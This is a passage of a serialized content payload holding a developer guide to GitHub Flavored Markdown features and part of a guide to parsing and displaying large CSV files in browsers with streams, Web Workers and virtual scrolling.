URLs)",[216,109753,109754,109755],{},"Requires ",[143,109756,109757],{},"\u003Curl>",[216,109759,109760],{},"Automatic",[199,109762,109763,109765,109768],{},[216,109764,34723],{},[216,109766,109767],{},"No filtering",[216,109769,109770],{},"Strips dangerous tags",[199,109772,109773,109775,109777],{},[216,109774,34743],{},[216,109776,3328],{},[216,109778,34850],{},[16,109780,109781],{},"If your content uses any feature in the GFM column, you need a GFM-compliant parser. CommonMark parsers will render those sections as plain text or ignore them.",[11,109783,3107],{"id":109784},"tables",[16,109786,109787],{},"Tables are the most-requested GFM feature. They turn data into scannable, aligned columns.",[33,109789,60969],{"id":60968},[135,109791,109793],{"className":34628,"code":109792,"language":34630,"meta":141,"style":141},"| Language   | Year | Paradigm      |\n|------------|------|---------------|\n| Python     | 1991 | Multi-paradigm|\n| Rust       | 2010 | Systems       |\n| TypeScript | 2012 | Object-oriented|\n",[143,109794,109795,109800,109805,109810,109815],{"__ignoreMap":141},[1560,109796,109797],{"class":1562,"line":1563},[1560,109798,109799],{},"| Language   | Year | Paradigm      |\n",[1560,109801,109802],{"class":1562,"line":337},[1560,109803,109804],{},"|------------|------|---------------|\n",[1560,109806,109807],{"class":1562,"line":343},[1560,109808,109809],{},"| Python     | 1991 | Multi-paradigm|\n",[1560,109811,109812],{"class":1562,"line":365},[1560,109813,109814],{},"| Rust       | 2010 | Systems       |\n",[1560,109816,109817],{"class":1562,"line":889},[1560,109818,109819],{},"| TypeScript | 2012 | Object-oriented|\n",[33,109821,109823],{"id":109822},"column-alignment","Column Alignment",[16,109825,109826],{},"Colons in the separator row control alignment:",[135,109828,109830],{"className":34628,"code":109829,"language":34630,"meta":141,"style":141},"| Left      | Center       | Right      |\n|:----------|:------------:|-----------:|\n| Default   | Centered     | Numbers    |\n| Aligned   | Text         | Align here |\n",[143,109831,109832,109837,109842,109847],{"__ignoreMap":141},[1560,109833,109834],{"class":1562,"line":1563},[1560,109835,109836],{},"| Left      | Center       | Right      |\n",[1560,109838,109839],{"class":1562,"line":337},[1560,109840,109841],{},"|:----------|:------------:|-----------:|\n",[1560,109843,109844],{"class":1562,"line":343},[1560,109845,109846],{},"| Default   | Centered     | Numbers    |\n",[1560,109848,109849],{"class":1562,"line":365},[1560,109850,109851],{},"| Aligned   | Text         | Align here |\n",[41,109853,109854,109860,109866],{},[44,109855,109856,109859],{},[143,109857,109858],{},":---"," — left-aligned (default)",[44,109861,109862,109865],{},[143,109863,109864],{},":---:"," — center-aligned",[44,109867,109868,109871],{},[143,109869,109870],{},"---:"," — right-aligned",[33,109873,109875],{"id":109874},"table-tips","Table Tips",[41,109877,109878,109881,109892,109898],{},[44,109879,109880],{},"You do not need to align pipes visually — parsers ignore extra spaces",[44,109882,109883,109884,109887,109888,109891],{},"Blank cells are fine: ",[143,109885,109886],{},"| | |"," renders as empty ",[143,109889,109890],{},"\u003Ctd>"," elements",[44,109893,109894,109895,109897],{},"Tables do not support row spans or column spans — use HTML ",[143,109896,67752],{}," markup only if absolutely necessary",[44,109899,109900],{},"Keep tables narrow. Wide tables break on mobile; consider bullet lists as an alternative",[11,109902,109904],{"id":109903},"task-lists","Task Lists",[16,109906,109907],{},"Task lists add interactive checkboxes to your Markdown. On GitHub, they render as clickable toggles in issues, pull requests, and comments.",[33,109909,28715],{"id":28714},[135,109911,109913],{"className":34628,"code":109912,"language":34630,"meta":141,"style":141},"- [x] Set up CI pipeline\n- [x] Write unit tests\n- [ ] Add integration tests\n- [ ] Deploy to staging\n",[143,109914,109915,109920,109925,109930],{"__ignoreMap":141},[1560,109916,109917],{"class":1562,"line":1563},[1560,109918,109919],{},"- [x] Set up CI pipeline\n",[1560,109921,109922],{"class":1562,"line":337},[1560,109923,109924],{},"- [x] Write unit tests\n",[1560,109926,109927],{"class":1562,"line":343},[1560,109928,109929],{},"- [ ] Add integration tests\n",[1560,109931,109932],{"class":1562,"line":365},[1560,109933,109934],{},"- [ ] Deploy to staging\n",[33,109936,100733],{"id":100732},[41,109938,109939,109945,109951,109957],{},[44,109940,109941,109944],{},[47,109942,109943],{},"Pull request descriptions"," — track what a PR covers at a glance",[44,109946,109947,109950],{},[47,109948,109949],{},"Issue templates"," — give contributors a checklist to follow",[44,109952,109953,109956],{},[47,109954,109955],{},"Project READMEs"," — show progress on planned features",[44,109958,109959,109962],{},[47,109960,109961],{},"Meeting notes"," — assign and track action items",[33,109964,109966],{"id":109965},"compatibility-note","Compatibility Note",[16,109968,109969],{},"Outside GitHub, task lists typically render as static checkboxes (checked or unchecked icons). They are not interactive in static-site generators unless you add custom JavaScript.",[11,109971,34693],{"id":109972},"strikethrough",[16,109974,109975],{},"Double tildes strike through text:",[135,109977,109979],{"className":34628,"code":109978,"language":34630,"meta":141,"style":141},"This feature is ~~deprecated~~ legacy — use the new API instead.\n",[143,109980,109981],{"__ignoreMap":141},[1560,109982,109983],{"class":1562,"line":1563},[1560,109984,109978],{},[16,109986,109987,109988,109992],{},"Renders as: This feature is ",[109989,109990,109991],"del",{},"deprecated"," legacy — use the new API instead.",[16,109994,109995],{},"Common uses:",[41,109997,109998,110001,110004],{},[44,109999,110000],{},"Marking outdated information while keeping it visible for context",[44,110002,110003],{},"Showing before\u002Fafter edits in documentation",[44,110005,110006],{},"Tracking changes in meeting notes without deleting the original",[11,110008,34708],{"id":110009},"autolinks",[16,110011,110012],{},"GFM automatically turns bare URLs and email addresses into clickable links — no angle brackets needed.",[135,110014,110016],{"className":34628,"code":110015,"language":34630,"meta":141,"style":141},"Visit https:\u002F\u002Fgithub.com for the source code.\nContact support@example.com for help.\n",[143,110017,110018,110023],{"__ignoreMap":141},[1560,110019,110020],{"class":1562,"line":1563},[1560,110021,110022],{},"Visit https:\u002F\u002Fgithub.com for the source code.\n",[1560,110024,110025],{"class":1562,"line":337},[1560,110026,110027],{},"Contact support@example.com for help.\n",[16,110029,110030,110031,110034],{},"CommonMark requires ",[143,110032,110033],{},"\u003Chttps:\u002F\u002Fgithub.com>"," syntax. GFM removes that friction.",[33,110036,110038],{"id":110037},"url-break-detection","URL Break Detection",[16,110040,110041,110042,110046],{},"GFM handles URLs that wrap across lines and strips trailing punctuation (periods, commas, parentheses) from links. This prevents sentences like \"See ",[98,110043,110044],{"href":110044,"rel":110045},"https:\u002F\u002Fexample.com",[14956],".\" from including the period in the URL.",[11,110048,110050],{"id":110049},"code-blocks-and-syntax-highlighting","Code Blocks and Syntax Highlighting",[16,110052,110053],{},"GFM supports fenced code blocks with optional language hints — identical to standard Markdown but with better support on GitHub's platform.",[135,110055,110057],{"className":34628,"code":110056,"language":34630,"meta":141,"style":141},"```python\ndef fibonacci(n):\n    a, b = 0, 1\n    for _ in range(n):\n        a, b = b, a + b\n    return a\n```\n",[143,110058,110059,110064,110069,110074,110079,110084,110089],{"__ignoreMap":141},[1560,110060,110061],{"class":1562,"line":1563},[1560,110062,110063],{},"```python\n",[1560,110065,110066],{"class":1562,"line":337},[1560,110067,110068],{},"def fibonacci(n):\n",[1560,110070,110071],{"class":1562,"line":343},[1560,110072,110073],{},"    a, b = 0, 1\n",[1560,110075,110076],{"class":1562,"line":365},[1560,110077,110078],{},"    for _ in range(n):\n",[1560,110080,110081],{"class":1562,"line":889},[1560,110082,110083],{},"        a, b = b, a + b\n",[1560,110085,110086],{"class":1562,"line":1710},[1560,110087,110088],{},"    return a\n",[1560,110090,110091],{"class":1562,"line":1717},[1560,110092,110093],{},"```\n",[33,110095,110097],{"id":110096},"github-specific-highlighting","GitHub-Specific Highlighting",[16,110099,110100],{},"GitHub uses Linguist to detect languages and apply syntax highlighting. Language hints override auto-detection:",[193,110102,110103,110112],{},[196,110104,110105],{},[199,110106,110107,110110],{},[202,110108,110109],{},"Hint",[202,110111,9824],{},[211,110113,110114,110124,110136,110147,110159,110167],{},[199,110115,110116,110122],{},[216,110117,110118,1531,110120],{},[143,110119,49452],{},[143,110121,1609],{},[216,110123,9860],{},[199,110125,110126,110133],{},[216,110127,110128,1531,110131],{},[143,110129,110130],{},"ts",[143,110132,17511],{},[216,110134,110135],{},"TypeScript",[199,110137,110138,110145],{},[216,110139,110140,1531,110143],{},[143,110141,110142],{},"py",[143,110144,8261],{},[216,110146,9840],{},[199,110148,110149,110156],{},[216,110150,110151,1531,110154],{},[143,110152,110153],{},"sh",[143,110155,6953],{},[216,110157,110158],{},"Shell",[199,110160,110161,110165],{},[216,110162,110163],{},[143,110164,23486],{},[216,110166,13411],{},[199,110168,110169,110173],{},[216,110170,110171],{},[143,110172,37229],{},[216,110174,36926],{},[16,110176,110177],{},"Always specify the language. Auto-detection fails on short snippets and ambiguous syntax.",[11,110179,110181],{"id":110180},"disallowed-raw-html","Disallowed Raw HTML",[16,110183,110184],{},"GFM strips certain HTML tags from output to prevent security issues. The disallowed list includes:",[41,110186,110187,110192,110197,110202,110207,110213],{},[44,110188,110189,110191],{},[143,110190,34727],{}," — prevents script injection",[44,110193,110194,110196],{},[143,110195,12666],{}," — prevents page title manipulation",[44,110198,110199,110201],{},[143,110200,41299],{}," — prevents style injection",[44,110203,110204,110206],{},[143,110205,34730],{}," — prevents form manipulation",[44,110208,110209,110212],{},[143,110210,110211],{},"\u003Cxmp>"," — deprecated, potential XSS vector",[44,110214,110215,110218],{},[143,110216,110217],{},"\u003Ciframe>"," — (on some renderers) prevents framing attacks",[16,110220,110221],{},"This is a security feature, not a formatting limitation. If you need these elements, they should come from your template system, not from user-generated Markdown.",[11,110223,110225],{"id":110224},"github-only-extensions","GitHub-Only Extensions",[16,110227,110228],{},"Some GFM features work exclusively on GitHub's platform:",[41,110230,110231,110252,110262],{},[44,110232,110233,110236,110237,1459,110240,1459,110243,1459,110246,1459,110249],{},[47,110234,110235],{},"Alerts"," — callout blocks using ",[143,110238,110239],{},"> [!NOTE]",[143,110241,110242],{},"> [!WARNING]",[143,110244,110245],{},"> [!TIP]",[143,110247,110248],{},"> [!CAUTION]",[143,110250,110251],{},"> [!IMPORTANT]",[44,110253,110254,110257,110258,110261],{},[47,110255,110256],{},"Mermaid diagrams"," — render flowcharts and sequence diagrams from fenced ",[143,110259,110260],{},"mermaid"," code blocks",[44,110263,110264,110267,110268,110271],{},[47,110265,110266],{},"Footnotes"," — GitHub now supports ",[143,110269,110270],{},"[^1]"," footnote syntax in issues and discussions",[16,110273,110274],{},"These features may not render correctly in other Markdown parsers. Check your target platform before relying on them.",[11,110276,110278],{"id":110277},"portability-checklist","Portability Checklist",[16,110280,110281],{},"Before publishing GFM content outside GitHub:",[77,110283,110284,110290,110296,110302,110308],{},[44,110285,110286,110289],{},[47,110287,110288],{},"Test tables"," in your target renderer — alignment and empty cells vary",[44,110291,110292,110295],{},[47,110293,110294],{},"Replace alerts"," with standard blockquotes if your platform does not support them",[44,110297,110298,110301],{},[47,110299,110300],{},"Verify autolinks"," — some parsers still require angle brackets",[44,110303,110304,110307],{},[47,110305,110306],{},"Check task list rendering"," — interactive vs static behavior differs",[44,110309,110310,110313],{},[47,110311,110312],{},"Strip GitHub-only features"," — Mermaid and alerts need plugin support",[11,110315,1355],{"id":1354},[41,110317,110318,110321,110324,110327,110330,110333],{},[44,110319,110320],{},"GFM extends CommonMark with tables, task lists, strikethrough, and autolinks",[44,110322,110323],{},"Tables support left, center, and right alignment via colon syntax",[44,110325,110326],{},"Task lists are interactive on GitHub, static elsewhere",[44,110328,110329],{},"GFM filters dangerous HTML tags automatically — a baseline security benefit",[44,110331,110332],{},"Alerts and Mermaid diagrams are GitHub-specific; plan replacements for other platforms",[44,110334,110335],{},"Always specify code-block language hints for reliable syntax highlighting",[11,110337,321],{"id":320},[41,110339,110340,110346,110352],{},[44,110341,110342],{},[98,110343,110345],{"href":110344},"\u002Fguides\u002Fmarkdown-preview-guide","Markdown Preview Guide",[44,110347,110348],{},[98,110349,110351],{"href":110350},"\u002Fguides\u002Fmarkdown-writing-workflow","Markdown Writing Workflow",[44,110353,110354],{},[98,110355,110357],{"href":110356},"\u002Fguides\u002Fmarkdown-syntax-guide","Markdown Syntax Guide",[11,110359,286],{"id":285},[16,110361,110362,110363,110367],{},"Put GFM syntax to the test. Open our free ",[98,110364,110366],{"href":110365},"\u002Ftools\u002Fmarkdown-preview","Markdown Preview"," tool, write a table or task list, and see the rendered output in real time — no GitHub repository required.",[2043,110369,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":110371},[110372,110373,110374,110379,110384,110385,110388,110391,110392,110393,110394,110395,110396],{"id":109694,"depth":337,"text":109695},{"id":109704,"depth":337,"text":109705},{"id":109784,"depth":337,"text":3107,"children":110375},[110376,110377,110378],{"id":60968,"depth":343,"text":60969},{"id":109822,"depth":343,"text":109823},{"id":109874,"depth":343,"text":109875},{"id":109903,"depth":337,"text":109904,"children":110380},[110381,110382,110383],{"id":28714,"depth":343,"text":28715},{"id":100732,"depth":343,"text":100733},{"id":109965,"depth":343,"text":109966},{"id":109972,"depth":337,"text":34693},{"id":110009,"depth":337,"text":34708,"children":110386},[110387],{"id":110037,"depth":343,"text":110038},{"id":110049,"depth":337,"text":110050,"children":110389},[110390],{"id":110096,"depth":343,"text":110097},{"id":110180,"depth":337,"text":110181},{"id":110224,"depth":337,"text":110225},{"id":110277,"depth":337,"text":110278},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Master GitHub Flavored Markdown (GFM). Learn tables, task lists, strikethrough, autolinks, and how GFM extends the CommonMark spec.",{"immutable":363},"\u002Fguides\u002Fgithub-flavored-markdown",{"title":109689,"description":110397},"guides\u002Fgithub-flavored-markdown","x9NQ82RFLnOHU3X4aTckTrd8_Qotql9aUB9Ln1rV0IE",{"id":110404,"title":110405,"body":110406,"date":2070,"description":111723,"extension":361,"meta":111724,"navigation":363,"path":111725,"readingTime":889,"seo":111726,"stem":111727,"__hash__":111728},"guides\u002Fguides\u002Fhandling-large-csv-files-browsers.md","Handling Large CSV Files in Browsers",{"type":8,"value":110407,"toc":111712},[110408,110412,110415,110422,110426,110429,110727,110730,110734,110737,110740,111008,111011,111015,111018,111021,111274,111284,111288,111299,111426,111429,111433,111436,111466,111596,111599,111603,111674,111677,111679,111702,111704,111710],[11,110409,110411],{"id":110410},"the-browser-memory-problem","The Browser Memory Problem",[16,110413,110414],{},"A 100 MB CSV file expands to roughly 300-500 MB in JavaScript memory after parsing — each string, number, and object adds overhead. Loading the entire file into memory at once can crash the browser tab or freeze the UI for seconds.",[16,110416,110417,110418,110421],{},"The solution: ",[47,110419,110420],{},"process the file incrementally",", never holding the entire dataset in memory at once.",[11,110423,110425],{"id":110424},"strategy-1-stream-based-parsing","Strategy 1: Stream-Based Parsing",[16,110427,110428],{},"Instead of reading the whole file into a string and splitting on newlines, read it in chunks and parse incrementally.",[135,110430,110432],{"className":1607,"code":110431,"language":1609,"meta":141,"style":141},"async function parseCSV(file, onRow) {\n  const stream = file.stream();\n  const reader = stream.getReader();\n  const decoder = new TextDecoder();\n  let buffer = '';\n\n  while (true) {\n    const { done, value } = await reader.read();\n    if (done) break;\n\n    buffer += decoder.decode(value, { stream: true });\n    const lines = buffer.split('\\n');\n\n    \u002F\u002F Keep the last incomplete line in the buffer\n    buffer = lines.pop();\n\n    for (const line of lines) {\n      const row = parseRow(line);\n      if (row) onRow(row);\n    }\n  }\n\n  \u002F\u002F Process any remaining data\n  if (buffer) onRow(parseRow(buffer));\n}\n",[143,110433,110434,110455,110472,110489,110505,110518,110522,110532,110558,110570,110574,110593,110617,110621,110626,110640,110644,110662,110677,110689,110693,110697,110701,110706,110723],{"__ignoreMap":141},[1560,110435,110436,110438,110440,110443,110445,110448,110450,110453],{"class":1562,"line":1563},[1560,110437,82166],{"class":1669},[1560,110439,38314],{"class":1669},[1560,110441,110442],{"class":1566}," parseCSV",[1560,110444,1688],{"class":1570},[1560,110446,110447],{"class":2219},"file",[1560,110449,1459],{"class":1570},[1560,110451,110452],{"class":2219},"onRow",[1560,110454,9345],{"class":1570},[1560,110456,110457,110459,110462,110464,110467,110470],{"class":1562,"line":337},[1560,110458,28057],{"class":1669},[1560,110460,110461],{"class":1576}," stream",[1560,110463,8186],{"class":1669},[1560,110465,110466],{"class":1570}," file.",[1560,110468,110469],{"class":1566},"stream",[1560,110471,90158],{"class":1570},[1560,110473,110474,110476,110479,110481,110484,110487],{"class":1562,"line":343},[1560,110475,28057],{"class":1669},[1560,110477,110478],{"class":1576}," reader",[1560,110480,8186],{"class":1669},[1560,110482,110483],{"class":1570}," stream.",[1560,110485,110486],{"class":1566},"getReader",[1560,110488,90158],{"class":1570},[1560,110490,110491,110493,110496,110498,110500,110503],{"class":1562,"line":365},[1560,110492,28057],{"class":1669},[1560,110494,110495],{"class":1576}," decoder",[1560,110497,8186],{"class":1669},[1560,110499,11489],{"class":1669},[1560,110501,110502],{"class":1566}," TextDecoder",[1560,110504,90158],{"class":1570},[1560,110506,110507,110509,110512,110514,110516],{"class":1562,"line":889},[1560,110508,38049],{"class":1669},[1560,110510,110511],{"class":1570}," buffer ",[1560,110513,7297],{"class":1669},[1560,110515,81655],{"class":5634},[1560,110517,2228],{"class":1570},[1560,110519,110520],{"class":1562,"line":1710},[1560,110521,1702],{"emptyLinePlaceholder":363},[1560,110523,110524,110526,110528,110530],{"class":1562,"line":1717},[1560,110525,38062],{"class":1669},[1560,110527,5181],{"class":1570},[1560,110529,20533],{"class":1576},[1560,110531,9345],{"class":1570},[1560,110533,110534,110536,110538,110541,110543,110545,110547,110549,110551,110554,110556],{"class":1562,"line":1747},[1560,110535,9385],{"class":1669},[1560,110537,1658],{"class":1570},[1560,110539,110540],{"class":1576},"done",[1560,110542,1459],{"class":1570},[1560,110544,39103],{"class":1576},[1560,110546,49704],{"class":1570},[1560,110548,7297],{"class":1669},[1560,110550,28065],{"class":1669},[1560,110552,110553],{"class":1570}," reader.",[1560,110555,24572],{"class":1566},[1560,110557,90158],{"class":1570},[1560,110559,110560,110562,110565,110568],{"class":1562,"line":2507},[1560,110561,11527],{"class":1669},[1560,110563,110564],{"class":1570}," (done) ",[1560,110566,110567],{"class":1669},"break",[1560,110569,2228],{"class":1570},[1560,110571,110572],{"class":1562,"line":2524},[1560,110573,1702],{"emptyLinePlaceholder":363},[1560,110575,110576,110579,110581,110584,110586,110589,110591],{"class":1562,"line":2529},[1560,110577,110578],{"class":1570},"    buffer ",[1560,110580,28386],{"class":1669},[1560,110582,110583],{"class":1570}," decoder.",[1560,110585,90899],{"class":1566},[1560,110587,110588],{"class":1570},"(value, { stream: ",[1560,110590,20533],{"class":1576},[1560,110592,11630],{"class":1570},[1560,110594,110595,110597,110600,110602,110605,110607,110609,110611,110613,110615],{"class":1562,"line":2534},[1560,110596,9385],{"class":1669},[1560,110598,110599],{"class":1576}," lines",[1560,110601,8186],{"class":1669},[1560,110603,110604],{"class":1570}," buffer.",[1560,110606,9356],{"class":1566},[1560,110608,1688],{"class":1570},[1560,110610,9361],{"class":5634},[1560,110612,8222],{"class":1576},[1560,110614,9361],{"class":5634},[1560,110616,1744],{"class":1570},[1560,110618,110619],{"class":1562,"line":2542},[1560,110620,1702],{"emptyLinePlaceholder":363},[1560,110622,110623],{"class":1562,"line":2558},[1560,110624,110625],{"class":1649},"    \u002F\u002F Keep the last incomplete line in the buffer\n",[1560,110627,110628,110630,110632,110635,110638],{"class":1562,"line":2570},[1560,110629,110578],{"class":1570},[1560,110631,7297],{"class":1669},[1560,110633,110634],{"class":1570}," lines.",[1560,110636,110637],{"class":1566},"pop",[1560,110639,90158],{"class":1570},[1560,110641,110642],{"class":1562,"line":6638},[1560,110643,1702],{"emptyLinePlaceholder":363},[1560,110645,110646,110649,110651,110653,110656,110659],{"class":1562,"line":11615},[1560,110647,110648],{"class":1669},"    for",[1560,110650,5181],{"class":1570},[1560,110652,8180],{"class":1669},[1560,110654,110655],{"class":1576}," line",[1560,110657,110658],{"class":1669}," of",[1560,110660,110661],{"class":1570}," lines) {\n",[1560,110663,110664,110666,110669,110671,110674],{"class":1562,"line":11621},[1560,110665,11535],{"class":1669},[1560,110667,110668],{"class":1576}," row",[1560,110670,8186],{"class":1669},[1560,110672,110673],{"class":1566}," parseRow",[1560,110675,110676],{"class":1570},"(line);\n",[1560,110678,110679,110681,110684,110686],{"class":1562,"line":11633},[1560,110680,28220],{"class":1669},[1560,110682,110683],{"class":1570}," (row) ",[1560,110685,110452],{"class":1566},[1560,110687,110688],{"class":1570},"(row);\n",[1560,110690,110691],{"class":1562,"line":11638},[1560,110692,11612],{"class":1570},[1560,110694,110695],{"class":1562,"line":11672},[1560,110696,4959],{"class":1570},[1560,110698,110699],{"class":1562,"line":19435},[1560,110700,1702],{"emptyLinePlaceholder":363},[1560,110702,110703],{"class":1562,"line":19442},[1560,110704,110705],{"class":1649},"  \u002F\u002F Process any remaining data\n",[1560,110707,110708,110710,110713,110715,110717,110720],{"class":1562,"line":19475},[1560,110709,27984],{"class":1669},[1560,110711,110712],{"class":1570}," (buffer) ",[1560,110714,110452],{"class":1566},[1560,110716,1688],{"class":1570},[1560,110718,110719],{"class":1566},"parseRow",[1560,110721,110722],{"class":1570},"(buffer));\n",[1560,110724,110725],{"class":1562,"line":19508},[1560,110726,1585],{"class":1570},[16,110728,110729],{},"This approach holds at most one chunk of text plus one incomplete line in memory — constant space regardless of file size.",[11,110731,110733],{"id":110732},"strategy-2-web-workers-for-cpu-heavy-parsing","Strategy 2: Web Workers for CPU-Heavy Parsing",[16,110735,110736],{},"Parsing is CPU-intensive. Running it on the main thread blocks the UI — buttons stop responding, animations freeze, and the browser may show a \"page unresponsive\" dialog.",[16,110738,110739],{},"Move parsing to a Web Worker:",[135,110741,110743],{"className":1607,"code":110742,"language":1609,"meta":141,"style":141},"\u002F\u002F main.js\nconst worker = new Worker('csv-worker.js');\n\nworker.postMessage({ file });\nworker.onmessage = (e) => {\n  if (e.data.type === 'row') {\n    appendRowToTable(e.data.row);\n  } else if (e.data.type === 'done') {\n    console.log(`Processed ${e.data.count} rows`);\n  }\n};\n\n\u002F\u002F csv-worker.js\nself.onmessage = async (e) => {\n  const file = e.data.file;\n  let count = 0;\n\n  await parseCSV(file, (row) => {\n    self.postMessage({ type: 'row', row });\n    count++;\n  });\n\n  self.postMessage({ type: 'done', count });\n};\n",[143,110744,110745,110750,110771,110775,110786,110805,110819,110827,110845,110872,110876,110880,110884,110889,110911,110923,110935,110939,110956,110972,110981,110985,110989,111004],{"__ignoreMap":141},[1560,110746,110747],{"class":1562,"line":1563},[1560,110748,110749],{"class":1649},"\u002F\u002F main.js\n",[1560,110751,110752,110754,110757,110759,110761,110764,110766,110769],{"class":1562,"line":337},[1560,110753,8180],{"class":1669},[1560,110755,110756],{"class":1576}," worker",[1560,110758,8186],{"class":1669},[1560,110760,11489],{"class":1669},[1560,110762,110763],{"class":1566}," Worker",[1560,110765,1688],{"class":1570},[1560,110767,110768],{"class":5634},"'csv-worker.js'",[1560,110770,1744],{"class":1570},[1560,110772,110773],{"class":1562,"line":343},[1560,110774,1702],{"emptyLinePlaceholder":363},[1560,110776,110777,110780,110783],{"class":1562,"line":365},[1560,110778,110779],{"class":1570},"worker.",[1560,110781,110782],{"class":1566},"postMessage",[1560,110784,110785],{"class":1570},"({ file });\n",[1560,110787,110788,110790,110793,110795,110797,110799,110801,110803],{"class":1562,"line":889},[1560,110789,110779],{"class":1570},[1560,110791,110792],{"class":1566},"onmessage",[1560,110794,8186],{"class":1669},[1560,110796,5181],{"class":1570},[1560,110798,96224],{"class":2219},[1560,110800,1733],{"class":1570},[1560,110802,11503],{"class":1669},[1560,110804,1571],{"class":1570},[1560,110806,110807,110809,110812,110814,110817],{"class":1562,"line":1710},[1560,110808,27984],{"class":1669},[1560,110810,110811],{"class":1570}," (e.data.type ",[1560,110813,23122],{"class":1669},[1560,110815,110816],{"class":5634}," 'row'",[1560,110818,9345],{"class":1570},[1560,110820,110821,110824],{"class":1562,"line":1717},[1560,110822,110823],{"class":1566},"    appendRowToTable",[1560,110825,110826],{"class":1570},"(e.data.row);\n",[1560,110828,110829,110831,110833,110836,110838,110840,110843],{"class":1562,"line":1747},[1560,110830,102284],{"class":1570},[1560,110832,82068],{"class":1669},[1560,110834,110835],{"class":1669}," if",[1560,110837,110811],{"class":1570},[1560,110839,23122],{"class":1669},[1560,110841,110842],{"class":5634}," 'done'",[1560,110844,9345],{"class":1570},[1560,110846,110847,110849,110851,110853,110856,110858,110860,110862,110864,110867,110870],{"class":1562,"line":2507},[1560,110848,102264],{"class":1570},[1560,110850,8214],{"class":1566},[1560,110852,1688],{"class":1570},[1560,110854,110855],{"class":5634},"`Processed ${",[1560,110857,96224],{"class":1570},[1560,110859,468],{"class":5634},[1560,110861,12781],{"class":1570},[1560,110863,468],{"class":5634},[1560,110865,110866],{"class":1570},"count",[1560,110868,110869],{"class":5634},"} rows`",[1560,110871,1744],{"class":1570},[1560,110873,110874],{"class":1562,"line":2524},[1560,110875,4959],{"class":1570},[1560,110877,110878],{"class":1562,"line":2529},[1560,110879,6607],{"class":1570},[1560,110881,110882],{"class":1562,"line":2534},[1560,110883,1702],{"emptyLinePlaceholder":363},[1560,110885,110886],{"class":1562,"line":2542},[1560,110887,110888],{"class":1649},"\u002F\u002F csv-worker.js\n",[1560,110890,110891,110894,110896,110898,110901,110903,110905,110907,110909],{"class":1562,"line":2558},[1560,110892,110893],{"class":1570},"self.",[1560,110895,110792],{"class":1566},[1560,110897,8186],{"class":1669},[1560,110899,110900],{"class":1669}," async",[1560,110902,5181],{"class":1570},[1560,110904,96224],{"class":2219},[1560,110906,1733],{"class":1570},[1560,110908,11503],{"class":1669},[1560,110910,1571],{"class":1570},[1560,110912,110913,110915,110918,110920],{"class":1562,"line":2570},[1560,110914,28057],{"class":1669},[1560,110916,110917],{"class":1576}," file",[1560,110919,8186],{"class":1669},[1560,110921,110922],{"class":1570}," e.data.file;\n",[1560,110924,110925,110927,110929,110931,110933],{"class":1562,"line":6638},[1560,110926,38049],{"class":1669},[1560,110928,88994],{"class":1570},[1560,110930,7297],{"class":1669},[1560,110932,13541],{"class":1576},[1560,110934,2228],{"class":1570},[1560,110936,110937],{"class":1562,"line":11615},[1560,110938,1702],{"emptyLinePlaceholder":363},[1560,110940,110941,110943,110945,110948,110950,110952,110954],{"class":1562,"line":11621},[1560,110942,28084],{"class":1669},[1560,110944,110442],{"class":1566},[1560,110946,110947],{"class":1570},"(file, (",[1560,110949,58185],{"class":2219},[1560,110951,1733],{"class":1570},[1560,110953,11503],{"class":1669},[1560,110955,1571],{"class":1570},[1560,110957,110958,110961,110963,110966,110969],{"class":1562,"line":11633},[1560,110959,110960],{"class":1570},"    self.",[1560,110962,110782],{"class":1566},[1560,110964,110965],{"class":1570},"({ type: ",[1560,110967,110968],{"class":5634},"'row'",[1560,110970,110971],{"class":1570},", row });\n",[1560,110973,110974,110977,110979],{"class":1562,"line":11638},[1560,110975,110976],{"class":1570},"    count",[1560,110978,101562],{"class":1669},[1560,110980,2228],{"class":1570},[1560,110982,110983],{"class":1562,"line":11672},[1560,110984,11618],{"class":1570},[1560,110986,110987],{"class":1562,"line":19435},[1560,110988,1702],{"emptyLinePlaceholder":363},[1560,110990,110991,110994,110996,110998,111001],{"class":1562,"line":19442},[1560,110992,110993],{"class":1570},"  self.",[1560,110995,110782],{"class":1566},[1560,110997,110965],{"class":1570},[1560,110999,111000],{"class":5634},"'done'",[1560,111002,111003],{"class":1570},", count });\n",[1560,111005,111006],{"class":1562,"line":19475},[1560,111007,6607],{"class":1570},[16,111009,111010],{},"The main thread stays responsive. The worker handles parsing in the background.",[11,111012,111014],{"id":111013},"strategy-3-virtual-scrolling-for-display","Strategy 3: Virtual Scrolling for Display",[16,111016,111017],{},"Even if you parse efficiently, rendering 100,000 rows in the DOM crashes the browser. Each DOM node consumes memory and triggers layout calculations.",[16,111019,111020],{},"Virtual scrolling renders only the visible rows:",[135,111022,111024],{"className":1607,"code":111023,"language":1609,"meta":141,"style":141},"function renderVisibleRows(container, allRows, scrollTop, rowHeight) {\n  const visibleCount = Math.ceil(container.clientHeight \u002F rowHeight);\n  const startIndex = Math.floor(scrollTop \u002F rowHeight);\n  const endIndex = Math.min(startIndex + visibleCount, allRows.length);\n\n  \u002F\u002F Render only rows in the viewport\n  const fragment = document.createDocumentFragment();\n  for (let i = startIndex; i \u003C endIndex; i++) {\n    const row = createRowElement(allRows[i]);\n    row.style.transform = `translateY(${i * rowHeight}px)`;\n    fragment.appendChild(row);\n  }\n\n  container.innerHTML = '';\n  container.appendChild(fragment);\n  container.style.height = `${allRows.length * rowHeight}px`;\n}\n",[143,111025,111026,111055,111077,111097,111122,111126,111131,111147,111171,111185,111207,111217,111221,111225,111236,111246,111270],{"__ignoreMap":141},[1560,111027,111028,111030,111033,111035,111038,111040,111043,111045,111048,111050,111053],{"class":1562,"line":1563},[1560,111029,8648],{"class":1669},[1560,111031,111032],{"class":1566}," renderVisibleRows",[1560,111034,1688],{"class":1570},[1560,111036,111037],{"class":2219},"container",[1560,111039,1459],{"class":1570},[1560,111041,111042],{"class":2219},"allRows",[1560,111044,1459],{"class":1570},[1560,111046,111047],{"class":2219},"scrollTop",[1560,111049,1459],{"class":1570},[1560,111051,111052],{"class":2219},"rowHeight",[1560,111054,9345],{"class":1570},[1560,111056,111057,111059,111062,111064,111066,111069,111072,111074],{"class":1562,"line":337},[1560,111058,28057],{"class":1669},[1560,111060,111061],{"class":1576}," visibleCount",[1560,111063,8186],{"class":1669},[1560,111065,9393],{"class":1570},[1560,111067,111068],{"class":1566},"ceil",[1560,111070,111071],{"class":1570},"(container.clientHeight ",[1560,111073,9423],{"class":1669},[1560,111075,111076],{"class":1570}," 